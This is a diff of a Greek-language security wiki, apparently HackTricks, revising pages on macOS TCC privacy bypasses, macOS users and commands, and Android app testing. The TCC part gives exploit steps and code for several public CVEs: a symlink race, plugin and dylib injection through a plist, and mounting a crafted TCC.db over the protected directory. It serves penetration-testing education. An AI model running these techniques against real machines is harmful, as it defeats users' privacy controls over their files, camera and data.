- να δημιουργήσουμε `/Users/hacker/ourlink` για να δείχνει στο `/Users/hacker/Library/Application Support/com.apple.TCC/`
- να δημιουργήσουμε το φάκελο `/Users/hacker/tmp/`
- να ρυθμίσουμε `MTL_DUMP_PIPELINES_TO_JSON_FILE=/Users/hacker/tmp/TCC.db`
- να ενεργοποιήσουμε το σφάλμα τρέχοντας το `Music` με αυτή τη μεταβλητή περιβάλλοντος
- να ενεργοποιήσουμε το σφάλμα εκτελώντας το `Music` με αυτή τη μεταβλητή περιβάλλοντος
- να πιάσουμε το `open()` του `/Users/hacker/tmp/.dat.nosyncXXXX.XXXXXX` (X είναι τυχαίος)
- εδώ επίσης `open()` αυτό το αρχείο για εγγραφή, και να κρατήσουμε τον περιγραφέα αρχείου
- ατομικά να αλλάξουμε το `/Users/hacker/tmp` με το `/Users/hacker/ourlink` **σε έναν βρόχο**
- το κάνουμε αυτό για να μεγιστοποιήσουμε τις πιθανότητες επιτυχίας μας καθώς το παράθυρο αγώνα είναι αρκετά στενό, αλλά η απώλεια του αγώνα έχει αμελητέα αρνητική πλευρά
- περιμένουμε λίγο
- δοκιμάζουμε αν είχαμε τύχη
- δοκιμάζουμε αν είμαστε τυχεροί
- αν όχι, τρέχουμε ξανά από την αρχή
Περισσότερες πληροφορίες στο [https://gergelykalman.com/lateralus-CVE-2023-32407-a-macos-tcc-bypass.html](https://gergelykalman.com/lateralus-CVE-2023-32407-a-macos-tcc-bypass.html)
@ -219,12 +218,12 @@ launchctl setenv SQLITE_AUTO_TRACE 1
### Apple Remote Desktop
Ως root θα μπορούσατε να ενεργοποιήσετε αυτή την υπηρεσία και ο **ARD agent θα έχει πλήρη πρόσβαση στο δίσκο** που θα μπορούσε στη συνέχεια να καταχραστεί από έναν χρήστη για να τον κάνει να αντιγράψει μια νέα **βάση δεδομένων TCC χρήστη**.
Ως root θα μπορούσατε να ενεργοποιήσετε αυτή την υπηρεσία και ο **ARD agent θα έχει πλήρη πρόσβαση στο δίσκο** που θα μπορούσε στη συνέχεια να καταχραστεί από έναν χρήστη για να τον κάνει να αντιγράψει μια νέα **βάση δεδομένων χρήστη TCC**.
## Από **NFSHomeDirectory**
## Με **NFSHomeDirectory**
Το TCC χρησιμοποιεί μια βάση δεδομένων στον φάκελο HOME του χρήστη για να ελέγξει την πρόσβαση σε πόρους συγκεκριμένους για τον χρήστη στο **$HOME/Library/Application Support/com.apple.TCC/TCC.db**.\
Επομένως, αν ο χρήστης καταφέρει να επανεκκινήσει το TCC με μια μεταβλητή περιβάλλοντος $HOME που δείχνει σε έναν **διαφορετικό φάκελο**, ο χρήστης θα μπορούσε να δημιουργήσει μια νέα βάση δεδομένων TCC στο **/Library/Application Support/com.apple.TCC/TCC.db** και να εξαπατήσει το TCC να παραχωρήσει οποιαδήποτε άδεια TCC σε οποιαδήποτε εφαρμογή.
Το TCC χρησιμοποιεί μια βάση δεδομένων στον φάκελο HOME του χρήστη για να ελέγξει την πρόσβαση σε πόρους που είναι συγκεκριμένοι για τον χρήστη στο **$HOME/Library/Application Support/com.apple.TCC/TCC.db**.\
Επομένως, αν ο χρήστης καταφέρει να επανεκκινήσει το TCC με μια μεταβλητή περιβάλλοντος $HOME που δείχνει σε έναν **διαφορετικό φάκελο**, ο χρήστης θα μπορούσε να δημιουργήσει μια νέα βάση δεδομένων TCC στο **/Library/Application Support/com.apple.TCC/TCC.db** και να ξεγελάσει το TCC να παραχωρήσει οποιαδήποτε άδεια TCC σε οποιαδήποτε εφαρμογή.
> [!TIP]
> Σημειώστε ότι η Apple χρησιμοποιεί τη ρύθμιση που αποθηκεύεται μέσα στο προφίλ του χρήστη στο **`NFSHomeDirectory`** χαρακτηριστικό για την **τιμή του `$HOME`**, οπότε αν παραβιάσετε μια εφαρμογή με άδειες να τροποποιήσει αυτή την τιμή (**`kTCCServiceSystemPolicySysAdminFiles`**), μπορείτε να **οπλίσετε** αυτή την επιλογή με μια παράκαμψη TCC.
@ -245,11 +244,11 @@ launchctl setenv SQLITE_AUTO_TRACE 1
6. Σταματήστε το _tccd_ του χρήστη και επανεκκινήστε τη διαδικασία.
Η δεύτερη POC χρησιμοποίησε **`/usr/libexec/configd`** που είχε `com.apple.private.tcc.allow` με την τιμή `kTCCServiceSystemPolicySysAdminFiles`.\
Ήταν δυνατό να τρέξει το **`configd`** με την επιλογή **`-t`**, ένας επιτιθέμενος θα μπορούσε να καθορίσει ένα **προσαρμοσμένο Bundle για φόρτωση**. Επομένως, η εκμετάλλευση **αντικαθιστά** τη μέθοδο **`dsexport`** και **`dsimport`** για την αλλαγή του φακέλου του χρήστη με μια **ένεση κώδικα configd**.
Ήταν δυνατό να εκτελέσετε το **`configd`** με την επιλογή **`-t`**, ένας επιτιθέμενος θα μπορούσε να καθορίσει ένα **προσαρμοσμένο Bundle για φόρτωση**. Επομένως, η εκμετάλλευση **αντικαθιστά** τη μέθοδο **`dsexport`** και **`dsimport`** για την αλλαγή του φακέλου του χρήστη με μια **ένεση κώδικα configd**.
Για περισσότερες πληροφορίες ελέγξτε την [**αρχική αναφορά**](https://www.microsoft.com/en-us/security/blog/2022/01/10/new-macos-vulnerability-powerdir-could-lead-to-unauthorized-user-data-access/).
## Από ένεση διαδικασίας
## Με ένεση διαδικασίας
Υπάρχουν διάφορες τεχνικές για να εγχύσετε κώδικα μέσα σε μια διαδικασία και να καταχραστείτε τα προνόμια TCC της:
@ -257,14 +256,14 @@ launchctl setenv SQLITE_AUTO_TRACE 1
../../../macos-proces-abuse/
{{#endref}}
Επιπλέον, η πιο κοινή ένεση διαδικασίας για να παρακαμφθεί το TCC που βρέθηκε είναι μέσω **plugins (load library)**.\
Επιπλέον, η πιο κοινή ένεση διαδικασίας για να παρακάμψετε το TCC που βρέθηκε είναι μέσω **plugins (load library)**.\
Τα plugins είναι επιπλέον κώδικας συνήθως με τη μορφή βιβλιοθηκών ή plist, που θα **φορτωθούν από την κύρια εφαρμογή** και θα εκτελούνται υπό το πλαίσιο της. Επομένως, αν η κύρια εφαρμογή είχε πρόσβαση σε αρχεία περιορισμένα από το TCC (μέσω παραχωρημένων αδειών ή δικαιωμάτων), ο **προσαρμοσμένος κώδικας θα έχει επίσης πρόσβαση**.
### CVE-2020-27937 - Directory Utility
Η εφαρμογή `/System/Library/CoreServices/Applications/Directory Utility.app` είχε την άδεια **`kTCCServiceSystemPolicySysAdminFiles`**, φόρτωσε plugins με επέκταση **`.daplug`** και **δεν είχε** τη σκληρυμένη εκτέλεση.
Η εφαρμογή `/System/Library/CoreServices/Applications/Directory Utility.app` είχε την άδεια **`kTCCServiceSystemPolicySysAdminFiles`**, φόρτωσε plugins με **`.daplug`** επέκταση και **δεν είχε** τη σκληρή εκτέλεση.
Για να οπλίσετε αυτή την CVE, το **`NFSHomeDirectory`** **αλλάζει** (καταχρώντας την προηγούμενη άδεια) προκειμένου να μπορέσετε να **αναλάβετε τη βάση δεδομένων TCC των χρηστών** για να παρακάμψετε το TCC.
Για να οπλίσετε αυτή την CVE, το **`NFSHomeDirectory`** **αλλάζει** (καταχρώντας την προηγούμενη άδεια) προκειμένου να μπορέσετε να **καταλάβετε τη βάση δεδομένων TCC του χρήστη** για να παρακάμψετε το TCC.
Για περισσότερες πληροφορίες ελέγξτε την [**αρχική αναφορά**](https://wojciechregula.blog/post/change-home-directory-and-bypass-tcc-aka-cve-2020-27937/).
@ -272,7 +271,7 @@ launchctl setenv SQLITE_AUTO_TRACE 1
Το δυαδικό **`/usr/sbin/coreaudiod`** είχε τις άδειες `com.apple.security.cs.disable-library-validation` και `com.apple.private.tcc.manager`. Η πρώτη **επιτρέπει την ένεση κώδικα** και η δεύτερη δίνει πρόσβαση για **διαχείριση του TCC**.
Αυτό το δυαδικό επέτρεπε τη φόρτωση **τρίτων plugins** από το φάκελο `/Library/Audio/Plug-Ins/HAL`. Επομένως, ήταν δυνατό να **φορτωθεί ένα plugin και να καταχραστεί οι άδειες TCC** με αυτή την PoC:
Αυτό το δυαδικό επέτρεπε τη φόρτωση **τρίτων plugins** από το φάκελο `/Library/Audio/Plug-Ins/HAL`. Επομένως, ήταν δυνατό να **φορτώσετε ένα plugin και να καταχραστείτε τις άδειες TCC** με αυτό το PoC:
```objectivec
#import <Foundation/Foundation.h>
#import <Security/Security.h>
@ -303,7 +302,7 @@ exit(0);
### Device Abstraction Layer (DAL) Plug-Ins
Οι εφαρμογές συστήματος που ανοίγουν ροή κάμερας μέσω Core Media I/O (εφαρμογές με **`kTCCServiceCamera`**) φορτώνουν **στη διαδικασία αυτά τα πρόσθετα** που βρίσκονται στο `/Library/CoreMediaIO/Plug-Ins/DAL` (όχι περιορισμένα από SIP).
Οι εφαρμογές συστήματος που ανοίγουν ροή κάμερας μέσω Core Media I/O (εφαρμογές με **`kTCCServiceCamera`**) φορτώνουν **κατά τη διαδικασία αυτά τα πρόσθετα** που βρίσκονται στο `/Library/CoreMediaIO/Plug-Ins/DAL` (όχι περιορισμένα από SIP).
Απλά αποθηκεύοντας εκεί μια βιβλιοθήκη με τον κοινό **κατασκευαστή** θα λειτουργήσει για **εισαγωγή κώδικα**.
@ -341,13 +340,13 @@ Executable=/Applications/Firefox.app/Contents/MacOS/firefox
### CVE-2020-10006
Το δυαδικό `/system/Library/Filesystems/acfs.fs/Contents/bin/xsanctl` είχε τα δικαιώματα **`com.apple.private.tcc.allow`** και **`com.apple.security.get-task-allow`**, που επέτρεπαν την εισαγωγή κώδικα μέσα στη διαδικασία και τη χρήση των δικαιωμάτων TCC.
Το δυαδικό αρχείο `/system/Library/Filesystems/acfs.fs/Contents/bin/xsanctl` είχε τα δικαιώματα **`com.apple.private.tcc.allow`** και **`com.apple.security.get-task-allow`**, που επέτρεπαν την εισαγωγή κώδικα μέσα στη διαδικασία και τη χρήση των δικαιωμάτων TCC.
### CVE-2023-26818 - Telegram
Το Telegram είχε τα δικαιώματα **`com.apple.security.cs.allow-dyld-environment-variables`** και **`com.apple.security.cs.disable-library-validation`**, οπότε ήταν δυνατό να το εκμεταλλευτεί κανείς για **να αποκτήσει πρόσβαση στα δικαιώματά του** όπως η καταγραφή με την κάμερα. Μπορείτε να [**βρείτε το payload στην αναφορά**](https://danrevah.github.io/2023/05/15/CVE-2023-26818-Bypass-TCC-with-Telegram/).
Σημειώστε πώς να χρησιμοποιήσετε τη μεταβλητή env για να φορτώσετε μια βιβλιοθήκη, μια **προσαρμοσμένη plist** δημιουργήθηκε για να εισαγάγει αυτή τη βιβλιοθήκη και χρησιμοποιήθηκε το **`launchctl`** για να την εκκινήσει:
Σημειώστε πώς να χρησιμοποιήσετε τη μεταβλητή env για να φορτώσετε μια βιβλιοθήκη, δημιουργήθηκε μια **προσαρμοσμένη plist** για να εισαχθεί αυτή η βιβλιοθήκη και χρησιμοποιήθηκε το **`launchctl`** για να την εκκινήσει:
```xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
@ -383,7 +382,7 @@ launchctl load com.telegram.launcher.plist
### Σενάρια Τερματικού
Είναι αρκετά συνηθισμένο να δίνετε στο τερματικό **Full Disk Access (FDA)**, τουλάχιστον σε υπολογιστές που χρησιμοποιούνται από τεχνολογικούς ανθρώπους. Και είναι δυνατόν να καλέσετε σενάρια **`.terminal`** χρησιμοποιώντας το.
Είναι αρκετά συνηθισμένο να δίνετε στο τερματικό **Πλήρη Πρόσβαση Δίσκου (FDA)**, τουλάχιστον σε υπολογιστές που χρησιμοποιούνται από τεχνικούς. Και είναι δυνατόν να καλέσετε σενάρια **`.terminal`** χρησιμοποιώντας το.
Τα σενάρια **`.terminal`** είναι αρχεία plist όπως αυτό με την εντολή που θα εκτελεστεί στο κλειδί **`CommandString`**:
```xml
@ -416,10 +415,10 @@ exploit_location]; task.standardOutput = pipe;
```
## Με την τοποθέτηση
### CVE-2020-9771 - παράκαμψη TCC mount_apfs και κλιμάκωση προνομίων
### CVE-2020-9771 - παράκαμψη TCC mount_apfs και εκμετάλλευση προνομίων
**Οποιοσδήποτε χρήστης** (ακόμα και μη προνομιούχοι) μπορεί να δημιουργήσει και να τοποθετήσει μια στιγμιότυπο μηχανής χρόνου και να **έχει πρόσβαση σε ΟΛΑ τα αρχεία** αυτού του στιγμιότυπου.\
Η **μόνη προνομιακή** πρόσβαση που απαιτείται είναι για την εφαρμογή που χρησιμοποιείται (όπως το `Terminal`) να έχει **Πλήρη Πρόσβαση Δίσκου** (FDA) (`kTCCServiceSystemPolicyAllfiles`) που πρέπει να παραχωρηθεί από έναν διαχειριστή.
**Οποιοσδήποτε χρήστης** (ακόμα και οι μη προνομιούχοι) μπορεί να δημιουργήσει και να τοποθετήσει μια στιγμιότυπο μηχανής χρόνου και **να έχει πρόσβαση σε ΟΛΑ τα αρχεία** αυτού του στιγμιότυπου.\
Η **μόνη προνομιακή** πρόσβαση που απαιτείται είναι για την εφαρμογή που χρησιμοποιείται (όπως το `Terminal`) να έχει **Πλήρη Πρόσβαση Δίσκου** (FDA) (`kTCCServiceSystemPolicyAllfiles`) η οποία πρέπει να παραχωρηθεί από έναν διαχειριστή.
```bash
# Create snapshot
tmutil localsnapshot
@ -441,9 +440,9 @@ ls /tmp/snap/Users/admin_user # This will work
```
Μια πιο λεπτομερής εξήγηση μπορεί να [**βρεθεί στην αρχική αναφορά**](https://theevilbit.github.io/posts/cve_2020_9771/)**.**
### CVE-2021-1784 & CVE-2021-30808 - Τοποθέτηση αρχείου TCC
### CVE-2021-1784 & CVE-2021-30808 - Τοποθέτηση αρχείου πάνω από το TCC
Ακόμα και αν το αρχείο TCC DB είναι προστατευμένο, ήταν δυνατό να **τοποθετηθεί ένα νέο αρχείο TCC.db στον κατάλογο**:
Ακόμα και αν το αρχείο DB του TCC είναι προστατευμένο, ήταν δυνατό να **τοποθετηθεί ένα νέο αρχείο TCC.db** πάνω από τον κατάλογο:
```bash
# CVE-2021-1784
## Mount over Library/Application\ Support/com.apple.TCC
@ -464,7 +463,15 @@ os.system("mkdir -p /tmp/mnt/Application\ Support/com.apple.TCC/")
os.system("cp /tmp/TCC.db /tmp/mnt/Application\ Support/com.apple.TCC/TCC.db")
os.system("hdiutil detach /tmp/mnt 1>/dev/null")
```
Ελέγξτε την **πλήρη εκμετάλλευση** στο [**αρχικό κείμενο**](https://theevilbit.github.io/posts/cve-2021-30808/).
Ελέγξτε την **πλήρη εκμετάλλευση** στο [**πρωτότυπο άρθρο**](https://theevilbit.github.io/posts/cve-2021-30808/).
### CVE-2024-40855
Όπως εξηγήθηκε στο [πρωτότυπο άρθρο](https://www.kandji.io/blog/macos-audit-story-part2), αυτή η CVE εκμεταλλεύτηκε το `diskarbitrationd`.
Η συνάρτηση `DADiskMountWithArgumentsCommon` από το δημόσιο πλαίσιο `DiskArbitration` εκτελούσε τους ελέγχους ασφαλείας. Ωστόσο, είναι δυνατόν να παρακαμφθεί καλώντας απευθείας το `diskarbitrationd` και επομένως να χρησιμοποιηθούν στοιχεία `../` στη διαδρομή και symlinks.
Αυτό επέτρεψε σε έναν επιτιθέμενο να πραγματοποιήσει αυθαίρετες τοποθετήσεις σε οποιαδήποτε τοποθεσία, συμπεριλαμβανομένης της βάσης δεδομένων TCC λόγω της εξουσιοδότησης `com.apple.private.security.storage-exempt.heritable` του `diskarbitrationd`.
### asr
@ -475,15 +482,15 @@ os.system("hdiutil detach /tmp/mnt 1>/dev/null")
Υπάρχει μια τρίτη βάση δεδομένων TCC στο **`/var/db/locationd/clients.plist`** για να υποδεικνύει τους πελάτες που επιτρέπεται να **έχουν πρόσβαση στις υπηρεσίες τοποθεσίας**.\
Ο φάκελος **`/var/db/locationd/` δεν προστατευόταν από την τοποθέτηση DMG** οπότε ήταν δυνατό να τοποθετήσουμε το δικό μας plist.
## Μέσω εφαρμογών εκκίνησης
## Από εφαρμογές εκκίνησης
{{#ref}}
../../../../macos-auto-start-locations.md
{{#endref}}
## Μέσω grep
## Από grep
Σε πολλές περιπτώσεις, αρχεία θα αποθηκεύουν ευαίσθητες πληροφορίες όπως emails, αριθμούς τηλεφώνων, μηνύματα... σε μη προστατευμένες τοποθεσίες (που μετράνε ως ευπάθεια στην Apple).
Σε πολλές περιπτώσεις, αρχεία θα αποθηκεύουν ευαίσθητες πληροφορίες όπως emails, αριθμούς τηλεφώνου, μηνύματα... σε μη προστατευμένες τοποθεσίες (που μετράνε ως ευπάθεια στην Apple).
<figure><img src="../../../../../images/image (474).png" alt=""><figcaption></figcaption></figure>

View File

@ -1,35 +1,33 @@
# macOS Users & External Accounts
# macOS Χρήστες & Εξωτερικοί Λογαριασμοί
{{#include ../../banners/hacktricks-training.md}}
## Common Users
## Κοινές Χρήστες
- **Daemon**: User reserved for system daemons. The default daemon account names usually start with a "\_":
- **Daemon**: Χρήστης που προορίζεται για συστήματα daemons. Οι προεπιλεγμένες ονομασίες λογαριασμού daemon συνήθως ξεκινούν με ένα "\_":
```bash
_amavisd, _analyticsd, _appinstalld, _appleevents, _applepay, _appowner, _appserver, _appstore, _ard, _assetcache, _astris, _atsserver, _avbdeviced, _calendar, _captiveagent, _ces, _clamav, _cmiodalassistants, _coreaudiod, _coremediaiod, _coreml, _ctkd, _cvmsroot, _cvs, _cyrus, _datadetectors, _demod, _devdocs, _devicemgr, _diskimagesiod, _displaypolicyd, _distnote, _dovecot, _dovenull, _dpaudio, _driverkit, _eppc, _findmydevice, _fpsd, _ftp, _fud, _gamecontrollerd, _geod, _hidd, _iconservices, _installassistant, _installcoordinationd, _installer, _jabber, _kadmin_admin, _kadmin_changepw, _knowledgegraphd, _krb_anonymous, _krb_changepw, _krb_kadmin, _krb_kerberos, _krb_krbtgt, _krbfast, _krbtgt, _launchservicesd, _lda, _locationd, _logd, _lp, _mailman, _mbsetupuser, _mcxalr, _mdnsresponder, _mobileasset, _mysql, _nearbyd, _netbios, _netstatistics, _networkd, _nsurlsessiond, _nsurlstoraged, _oahd, _ondemand, _postfix, _postgres, _qtss, _reportmemoryexception, _rmd, _sandbox, _screensaver, _scsd, _securityagent, _softwareupdate, _spotlight, _sshd, _svn, _taskgated, _teamsserver, _timed, _timezone, _tokend, _trustd, _trustevaluationagent, _unknown, _update_sharing, _usbmuxd, _uucp, _warmd, _webauthserver, _windowserver, _www, _wwwproxy, _xserverdocs
```
- **Guest**: Account for guests with very strict permissions
```bash
_amavisd, _analyticsd, _appinstalld, _appleevents, _applepay, _appowner, _appserver, _appstore, _ard, _assetcache, _astris, _atsserver, _avbdeviced, _calendar, _captiveagent, _ces, _clamav, _cmiodalassistants, _coreaudiod, _coremediaiod, _coreml, _ctkd, _cvmsroot, _cvs, _cyrus, _datadetectors, _demod, _devdocs, _devicemgr, _diskimagesiod, _displaypolicyd, _distnote, _dovecot, _dovenull, _dpaudio, _driverkit, _eppc, _findmydevice, _fpsd, _ftp, _fud, _gamecontrollerd, _geod, _hidd, _iconservices, _installassistant, _installcoordinationd, _installer, _jabber, _kadmin_admin, _kadmin_changepw, _knowledgegraphd, _krb_anonymous, _krb_changepw, _krb_kadmin, _krb_kerberos, _krb_krbtgt, _krbfast, _krbtgt, _launchservicesd, _lda, _locationd, _logd, _lp, _mailman, _mbsetupuser, _mcxalr, _mdnsresponder, _mobileasset, _mysql, _nearbyd, _netbios, _netstatistics, _networkd, _nsurlsessiond, _nsurlstoraged, _oahd, _ondemand, _postfix, _postgres, _qtss, _reportmemoryexception, _rmd, _sandbox, _screensaver, _scsd, _securityagent, _softwareupdate, _spotlight, _sshd, _svn, _taskgated, _teamsserver, _timed, _timezone, _tokend, _trustd, _trustevaluationagent, _unknown, _update_sharing, _usbmuxd, _uucp, _warmd, _webauthserver, _windowserver, _www, _wwwproxy, _xserverdocs
```
- **Guest**: Λογαριασμός για επισκέπτες με πολύ αυστηρές άδειες
```bash
state=("automaticTime" "afpGuestAccess" "filesystem" "guestAccount" "smbGuestAccess")
for i in "${state[@]}"; do sysadminctl -"${i}" status; done;
```
- **Κανένας**: Οι διεργασίες εκτελούνται με αυτόν τον χρήστη όταν απαιτούνται ελάχιστα δικαιώματα
- **Ρούτ**
- **Nobody**: Processes are executed with this user when minimal permissions are required
- **Root**
## Δικαιώματα Χρηστών
## User Privileges
- **Τυπικός Χρήστης:** Ο πιο βασικός από τους χρήστες. Αυτός ο χρήστης χρειάζεται δικαιώματα που παραχωρούνται από έναν διαχειριστή όταν προσπαθεί να εγκαταστήσει λογισμικό ή να εκτελέσει άλλες προχωρημένες εργασίες. Δεν μπορεί να το κάνει μόνος του.
- **Διαχειριστής Χρήστης**: Ένας χρήστης που λειτουργεί τις περισσότερες φορές ως τυπικός χρήστης αλλά επιτρέπεται επίσης να εκτελεί ενέργειες ρουτ, όπως η εγκατάσταση λογισμικού και άλλες διοικητικές εργασίες. Όλοι οι χρήστες που ανήκουν στην ομάδα διαχειριστών **έχουν πρόσβαση σε ρουτ μέσω του αρχείου sudoers**.
- **Ρούτ**: Ο ρούτ είναι ένας χρήστης που επιτρέπεται να εκτελεί σχεδόν οποιαδήποτε ενέργεια (υπάρχουν περιορισμοί που επιβάλλονται από προστασίες όπως η Προστασία Ακεραιότητας Συστήματος).
- Για παράδειγμα, ο ρούτ δεν θα μπορεί να τοποθετήσει ένα αρχείο μέσα στο `/System`
- **Standard User:** The most basic of users. This user needs permissions granted from an admin user when attempting to install software or perform other advanced tasks. They are not able to do it on their own.
- **Admin User**: A user who operates most of the time as a standard user but is also allowed to perform root actions such as install software and other administrative tasks. All users belonging to the admin group are **given access to root via the sudoers file**.
- **Root**: Root is a user allowed to perform almost any action (there are limitations imposed by protections like System Integrity Protection).
- For example root won't be able to place a file inside `/System`
## Εξωτερικοί Λογαριασμοί
## External Accounts
MacOS also support to login via external identity providers such as FaceBook, Google... The main daemon performing this job is `accountsd` (`/System/Library/Frameworks/Accounts.framework//Versions/A/Support/accountsd`) and it's possible to find plugins used for external authentication inside the folder `/System/Library/Accounts/Authentication/`.\
Moreover, `accountsd` gets the list of account types from `/Library/Preferences/SystemConfiguration/com.apple.accounts.exists.plist`.
Το MacOS υποστηρίζει επίσης σύνδεση μέσω εξωτερικών παρόχων ταυτότητας όπως το FaceBook, το Google... Ο κύριος δαίμονας που εκτελεί αυτή τη δουλειά είναι το `accountsd` (`/System/Library/Frameworks/Accounts.framework//Versions/A/Support/accountsd`) και είναι δυνατή η εύρεση προσθέτων που χρησιμοποιούνται για εξωτερική αυθεντικοποίηση μέσα στον φάκελο `/System/Library/Accounts/Authentication/`.\
Επιπλέον, το `accountsd` αποκτά τη λίστα τύπων λογαριασμών από το `/Library/Preferences/SystemConfiguration/com.apple.accounts.exists.plist`.
{{#include ../../banners/hacktricks-training.md}}

View File

@ -1,15 +1,14 @@
# macOS Useful Commands
# macOS Χρήσιμες Εντολές
{{#include ../banners/hacktricks-training.md}}
### MacOS Automatic Enumeration Tools
### Εργαλεία Αυτόματης Αρίθμησης MacOS
- **MacPEAS**: [https://github.com/carlospolop/PEASS-ng/tree/master/linPEAS](https://github.com/carlospolop/PEASS-ng/tree/master/linPEAS)
- **Metasploit**: [https://github.com/rapid7/metasploit-framework/blob/master/modules/post/osx/gather/enum_osx.rb](https://github.com/rapid7/metasploit-framework/blob/master/modules/post/osx/gather/enum_osx.rb)
- **SwiftBelt**: [https://github.com/cedowens/SwiftBelt](https://github.com/cedowens/SwiftBelt)
### Specific MacOS Commands
### Συγκεκριμένες Εντολές MacOS
```bash
#System info
date
@ -111,25 +110,21 @@ sudo launchctl load -w /System/Library/LaunchDaemons/ssh.plist (enable ssh)
sudo launchctl unload /System/Library/LaunchDaemons/ssh.plist (disable ssh)
#Start apache
sudo apachectl (start|status|restart|stop)
##Web folder: /Library/WebServer/Documents/
##Web folder: /Library/WebServer/Documents/
#Remove DNS cache
dscacheutil -flushcache
sudo killall -HUP mDNSResponder
```
### Εγκατεστημένο Λογισμικό & Υπηρεσίες
### Installed Software & Services
Check for **suspicious** applications installed and **privileges** over the.installed resources:
Ελέγξτε για **ύποπτες** εφαρμογές που είναι εγκατεστημένες και **δικαιώματα** πάνω στους εγκατεστημένους πόρους:
```
system_profiler SPApplicationsDataType #Installed Apps
system_profiler SPFrameworksDataType #Instaled framework
lsappinfo list #Installed Apps
launchctl list #Services
```
### User Processes
### Διεργασίες Χρήστη
```bash
# will print all the running services under that particular user domain.
launchctl print gui/<users UID>
@ -140,10 +135,9 @@ launchctl print system
# will print detailed information about the specific launch agent. And if its not running or youve mistyped, you will get some output with a non-zero exit code: Could not find service “com.company.launchagent.label” in domain for login
launchctl print gui/<user's UID>/com.company.launchagent.label
```
### Δημιουργία χρήστη
### Create a user
Without prompts
Χωρίς προτροπές
<figure><img src="../images/image (79).png" alt=""><figcaption></figcaption></figure>

View File

@ -1,22 +1,7 @@
# Δοκιμή Ασφαλείας Εφαρμογών Android
# Δοκιμές Ασφαλείας Εφαρμογών Android
{{#include ../../banners/hacktricks-training.md}}
<figure><img src="../../images/image (3).png" alt=""><figcaption></figcaption></figure>
Συμμετάσχετε στον [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) server για να επικοινωνήσετε με έμπειρους χάκερ και κυνηγούς bug bounty!
**Ενημερώσεις Χάκερ**\
Ασχοληθείτε με περιεχόμενο που εμβαθύνει στην αδρεναλίνη και τις προκλήσεις του hacking
**Νέα Χάκερ σε Πραγματικό Χρόνο**\
Μείνετε ενημερωμένοι με τον ταχύτατο κόσμο του hacking μέσω ειδήσεων και ενημερώσεων σε πραγματικό χρόνο
**Τελευταίες Ανακοινώσεις**\
Μείνετε ενήμεροι για τις πιο πρόσφατες εκκινήσεις bug bounty και κρίσιμες ενημερώσεις πλατφόρμας
**Συμμετάσχετε μαζί μας στο** [**Discord**](https://discord.com/invite/N3FrSbmwdy) και ξεκινήστε να συνεργάζεστε με κορυφαίους χάκερ σήμερα!
## Βασικά για Εφαρμογές Android
Συνιστάται ανεπιφύλακτα να ξεκινήσετε διαβάζοντας αυτή τη σελίδα για να γνωρίσετε τα **πιο σημαντικά μέρη που σχετίζονται με την ασφάλεια Android και τα πιο επικίνδυνα στοιχεία σε μια εφαρμογή Android**:
@ -27,14 +12,14 @@ android-applications-basics.md
## ADB (Android Debug Bridge)
Αυτό είναι το κύριο εργαλείο που χρειάζεστε για να συνδεθείτε σε μια συσκευή Android (εξομοιωμένη ή φυσική).\
Αυτό είναι το κύριο εργαλείο που χρειάζεστε για να συνδεθείτε σε μια συσκευή android (εξομοιωμένη ή φυσική).\
**ADB** επιτρέπει τον έλεγχο συσκευών είτε μέσω **USB** είτε μέσω **Δικτύου** από έναν υπολογιστή. Αυτή η χρησιμότητα επιτρέπει την **αντιγραφή** αρχείων και στις δύο κατευθύνσεις, την **εγκατάσταση** και **απεγκατάσταση** εφαρμογών, την **εκτέλεση** εντολών shell, την **αντίγραφο ασφαλείας** δεδομένων, την **ανάγνωση** καταγραφών, μεταξύ άλλων λειτουργιών.
Ρίξτε μια ματιά στη λίστα με τις [**Εντολές ADB**](adb-commands.md) για να μάθετε πώς να χρησιμοποιείτε το adb.
## Smali
Μερικές φορές είναι ενδιαφέρον να **τροποποιήσετε τον κώδικα της εφαρμογής** για να αποκτήσετε πρόσβαση σε **κρυφές πληροφορίες** (ίσως καλά κρυμμένους κωδικούς ή σημαίες). Στη συνέχεια, μπορεί να είναι ενδιαφέρον να αποσυμπιέσετε το apk, να τροποποιήσετε τον κώδικα και να το ξανασυμπιέσετε.\
Μερικές φορές είναι ενδιαφέρον να **τροποποιήσετε τον κώδικα της εφαρμογής** για να αποκτήσετε πρόσβαση σε **κρυφές πληροφορίες** (ίσως καλά κρυμμένους κωδικούς ή σημαίες). Στη συνέχεια, μπορεί να είναι ενδιαφέρον να αποσυμπιέσετε το apk, να τροποποιήσετε τον κώδικα και να τον ξανασυμπιέσετε.\
[**Σε αυτό το σεμινάριο** μπορείτε να **μάθετε πώς να αποσυμπιέσετε ένα APK, να τροποποιήσετε τον κώδικα Smali και να ξανασυμπιέσετε το APK** με τη νέα λειτουργικότητα](smali-changes.md). Αυτό μπορεί να είναι πολύ χρήσιμο ως **εναλλακτική για πολλές δοκιμές κατά τη διάρκεια της δυναμικής ανάλυσης** που θα παρουσιαστούν. Στη συνέχεια, **κρατήστε πάντα στο μυαλό σας αυτή την πιθανότητα**.
## Άλλες ενδιαφέρουσες τεχνικές
@ -102,7 +87,7 @@ tapjacking.md
### Hijacking Εργασιών
Μια **δραστηριότητα** με το **`launchMode`** ρυθμισμένο σε **`singleTask` χωρίς καμία `taskAffinity`** καθορισμένη είναι ευάλωτη σε hijacking εργασιών. Αυτό σημαίνει ότι μια **εφαρμογή** μπορεί να εγκατασταθεί και αν εκκινείται πριν από την πραγματική εφαρμογή θα μπορούσε να **καταλάβει την εργασία της πραγματικής εφαρμογής** (έτσι ο χρήστης θα αλληλεπιδρά με την **κακόβουλη εφαρμογή νομίζοντας ότι χρησιμοποιεί την πραγματική**).
Μια **δραστηριότητα** με το **`launchMode`** ρυθμισμένο σε **`singleTask` χωρίς καμία `taskAffinity`** καθορισμένη είναι ευάλωτη σε hijacking εργασιών. Αυτό σημαίνει ότι μια **εφαρμογή** μπορεί να εγκατασταθεί και αν εκκινείται πριν από την πραγματική εφαρμογή μπορεί να **καταλάβει την εργασία της πραγματικής εφαρμογής** (έτσι ο χρήστης θα αλληλεπιδρά με την **κακόβουλη εφαρμογή νομίζοντας ότι χρησιμοποιεί την πραγματική**).
Περισσότερες πληροφορίες στο:
@ -117,13 +102,13 @@ android-task-hijacking.md
